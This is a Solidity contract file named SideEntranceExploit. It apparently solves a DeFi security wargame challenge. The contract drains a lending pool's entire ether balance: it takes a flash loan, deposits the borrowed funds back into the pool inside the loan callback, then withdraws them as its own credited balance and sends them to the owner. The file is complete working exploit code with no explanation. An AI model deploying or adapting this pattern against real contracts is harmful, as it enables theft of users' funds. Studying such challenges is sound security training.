sideentryexploit.sol

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface IFlashLoanEtherReceiver {
    function execute() external payable;
}

interface ISideEntranceLenderPool {
    function deposit() external payable;
    function withdraw() external;
    function flashLoan(uint256 amount) external;
}

contract SideEntranceExploit is IFlashLoanEtherReceiver {
    ISideEntranceLenderPool immutable pool;
    address owner;

    constructor(address payable _pool) {
        pool = ISideEntranceLenderPool(_pool);
        owner = msg.sender;
    }

    function exploit() external payable {
        require(msg.sender == owner, "Not the Owner");
        pool.flashLoan(address(pool).balance);
        pool.withdraw();
        payable(owner).transfer(address(this).balance);
    }

    function execute() external payable override {
        require(msg.sender == address(pool), "lender calling");
        pool.deposit{value: msg.value}();
    }

    receive() external payable {}
}